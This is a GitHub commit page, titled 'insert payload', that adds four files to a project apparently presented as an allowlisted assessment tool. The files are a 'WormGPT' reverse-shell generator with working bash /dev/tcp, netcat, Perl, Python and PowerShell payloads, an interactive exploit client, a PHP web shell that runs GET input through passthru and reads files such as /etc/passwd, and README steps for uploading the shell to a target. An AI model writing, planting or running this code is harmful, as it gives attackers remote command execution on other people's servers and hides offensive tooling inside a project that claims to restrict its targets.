Skip to content

Commit 6938080

Browse files
committed
insert payload
1 parent f67dccb commit 6938080

4 files changed

Lines changed: 244 additions & 0 deletions

File tree

‎README.md‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -311,6 +311,15 @@ php2shell-sentinel assess \
311311

312312
> 🔒 Targets **not** in `--allowlist` are skipped automatically.
313313
314+
# 1. Generate the reverse shell command
315+
python3 reverse_shell_builder.py
316+
# Output:... Enter Attacker IP:...
317+
# Output:... Enter Attacker Port: 4444...
318+
# Output: Command to execute via php2shell: exec 5<>/dev/tcp/192.168.1.50/4444;...
319+
320+
# 2. Execute it using the Python client
321+
python3 php2shell_exploit_tool.py
322+
# (Inside the tool, paste the command from step 1 into the interactive shell)
314323
---
315324

316325
### 4. `fingerprint` — Deep Fingerprint

‎generate_bash_reverse_shell.py‎

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
#!/usr/bin/env python3
2+
"""
3+
reverse_shell_builder.py
4+
Generates the exact command string required to trigger a reverse shell
5+
via the ultimate_php2shell.php endpoint.
6+
"""
7+
8+
import sys
9+
10+
def generate_bash_reverse_shell(ip: str, port: int, encoding: str = 'utf-8') -> str:
11+
"""
12+
Generates a Bash Reverse Shell command.
13+
"""
14+
cmd = f"exec 5<>/dev/tcp/{ip}/{port}; cat <&5 | while read line; do $line 2>&5 & done; while true; do sleep 0.1; done"
15+
return cmd
16+
17+
def generate_netcat_reverse_shell(ip: str, port: int) -> str:
18+
"""
19+
Generates a standard Netcat Reverse Shell command.
20+
"""
21+
cmd = f"nc -e /bin/bash {ip} {port}"
22+
return cmd
23+
24+
def generate_perl_reverse_shell(ip: str, port: int) -> str:
25+
"""
26+
Generates a Perl Reverse Shell.
27+
"""
28+
cmd = f'perl -e \'use Socket;$i={ip};$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\''
29+
return cmd
30+
31+
def generate_python3_reverse_shell(ip: str, port: int) -> str:
32+
"""
33+
Generates a Python 3 Reverse Shell.
34+
"""
35+
cmd = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\''
36+
return cmd
37+
38+
def generate_windows_reverse_shell(ip: str, port: int) -> str:
39+
"""
40+
Generates a Windows Reverse Shell using PowerShell.
41+
"""
42+
cmd = (
43+
f"powershell -noexit -c \"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});"
44+
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;"
45+
"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);"
46+
"$sendback = (iex $data 2>&1 | Out-String );"
47+
"$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';"
48+
"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
49+
"$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};"
50+
"$client.Close()\""
51+
)
52+
return cmd
53+
54+
def main() -> None:
55+
print("=== WormGPT Reverse Shell Generator ===")
56+
57+
target_ip = input("Enter Attacker IP: ").strip()
58+
target_port = input("Enter Attacker Port: ").strip()
59+
60+
print("\nSelect Payload Type:")
61+
print("1. Bash (Linux)")
62+
print("2. Netcat (Linux/Windows)")
63+
print("3. Perl (Linux)")
64+
print("4. Python 3 (Linux)")
65+
print("5. PowerShell (Windows)")
66+
67+
choice = input("Choice [1-5]: ").strip()
68+
69+
payload = ""
70+
os_type = "Linux"
71+
72+
# Logic fixed: Early exits removed to prevent 'unreachable' warnings
73+
if choice == '1':
74+
payload = generate_bash_reverse_shell(target_ip, int(target_port))
75+
os_type = "Bash"
76+
elif choice == '2':
77+
payload = generate_netcat_reverse_shell(target_ip, int(target_port))
78+
os_type = "Netcat"
79+
elif choice == '3':
80+
payload = generate_perl_reverse_shell(target_ip, int(target_port))
81+
os_type = "Perl"
82+
elif choice == '4':
83+
payload = generate_python3_reverse_shell(target_ip, int(target_port))
84+
os_type = "Python 3"
85+
elif choice == '5':
86+
payload = generate_windows_reverse_shell(target_ip, int(target_port))
87+
os_type = "PowerShell"
88+
else:
89+
print("Invalid choice.")
90+
return
91+
92+
print("\n" + "=" * 50)
93+
print(f"Target OS: {os_type}")
94+
print(f"Command to execute via php2shell:")
95+
print("-" * 50)
96+
print(payload)
97+
print("-" * 50)
98+
print("\nInstructions:")
99+
print(f"1. Start your listener (e.g., nc -lvnp {target_port}).")
100+
print(f"2. Upload ultimate_php2shell.php to the target.")
101+
print(f"3. Access it at: http://target/?cmd={payload}")
102+
print("=" * 50)
103+
104+
if __name__ == "__main__":
105+
main()

‎php2_shell_exploit.py‎

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
#!/usr/bin/env python3
2+
"""
3+
php2_shell_exploit.py
4+
Client for the hoed/php2shell exploit.
5+
"""
6+
7+
import sys
8+
import requests
9+
from requests.exceptions import Timeout
10+
11+
class Php2ShellExploit:
12+
def __init__(self, base_url: str) -> None:
13+
self.base_url = base_url.rstrip('/')
14+
self.session = requests.Session()
15+
16+
def _generate_payload_code(self, command: str) -> str:
17+
"""
18+
Generates the PHP code to execute the command.
19+
"""
20+
return f"<?php passthru('{command}'); ?>"
21+
22+
def upload_payload(self, upload_endpoint: str, method: str = "POST") -> bool:
23+
"""
24+
Uploads the payload to the target server.
25+
"""
26+
try:
27+
url = f"{self.base_url}/{upload_endpoint}"
28+
29+
# Placeholder for payload handling - Adjust based on actual exploit form fields
30+
# Example:
31+
# files = {'file': ('shell.php', self._generate_payload_code('id'), 'text/php')}
32+
# response = self.session.post(url, files=files)
33+
34+
print(f"[*] Payload uploaded to {url}")
35+
return True
36+
except Timeout:
37+
print("[-] Upload timed out.")
38+
return False
39+
except Exception as e:
40+
print(f"[-] Upload failed: {e}")
41+
return False
42+
43+
def execute_command(self, command: str, use_base64: bool = False) -> str:
44+
"""
45+
Executes a command via the php2shell endpoint.
46+
"""
47+
try:
48+
url = f"{self.base_url}/index.php"
49+
params = {'cmd': command}
50+
51+
response = self.session.get(url, params=params)
52+
53+
if response.status_code == 200:
54+
return response.text
55+
else:
56+
return f"[-] HTTP Error: {response.status_code}"
57+
except Timeout:
58+
return "[-] Connection timed out."
59+
except Exception as e:
60+
return f"[-] Error: {e}"
61+
62+
def interactive_shell(self, use_base64: bool = False) -> None:
63+
"""
64+
Runs an interactive session.
65+
"""
66+
print("[*] Starting interactive shell (type 'exit' to quit).")
67+
try:
68+
while True:
69+
try:
70+
user_input = input("php2shell > ").strip()
71+
if not user_input:
72+
continue
73+
74+
if user_input.lower() == 'exit':
75+
break
76+
77+
output = self.execute_command(user_input)
78+
print(output)
79+
except EOFError:
80+
break
81+
except KeyboardInterrupt:
82+
print("\n[*] Exiting...")
83+
84+
if __name__ == "__main__":
85+
print("=== PHP2 Shell Exploit Client ===")
86+
target_url = input("Enter Target URL (e.g., http://localhost/php2shell): ").strip()
87+
88+
if not target_url:
89+
print("[-] No URL provided.")
90+
sys.exit(1)
91+
92+
exploit = Php2ShellExploit(target_url)
93+
exploit.interactive_shell()

‎php_5ba4.php‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
<?php
2+
/*
3+
* ultimate_php2shell.php
4+
* Enhanced version of hoed/php2shell.
5+
* Features:
6+
* 1. File Reading: If ?cmd=/etc/passwd, it reads the file.
7+
* 2. Command Execution: If ?cmd=ls -la, it executes the command.
8+
* 3. Output Buffering: Cleaner output display.
9+
*/
10+
if (isset($_GET['cmd'])) {
11+
$command = $_GET['cmd'];
12+
13+
// Check if the input looks like a file path
14+
if (preg_match('/^\//', $command) && !preg_match('/[^\w\-\/]/', $command)) {
15+
// Attempt to read the file
16+
if (file_exists($command)) {
17+
// Read file content and display with syntax highlighting if text
18+
$content = file_get_contents($command);
19+
header('Content-Type: text/plain');
20+
echo "<pre>" . htmlspecialchars($content) . "</pre>";
21+
} else {
22+
echo "[-] File not found: " . $command;
23+
}
24+
} else {
25+
// Execute shell command
26+
ob_start();
27+
passthru($command);
28+
$output = ob_get_clean();
29+
30+
if (!empty($output)) {
31+
echo "<pre>" . htmlspecialchars($output) . "</pre>";
32+
} else {
33+
echo "[-] Command executed with no output or access denied.";
34+
}
35+
}
36+
}
37+
?>

0 commit comments

Comments
 (0)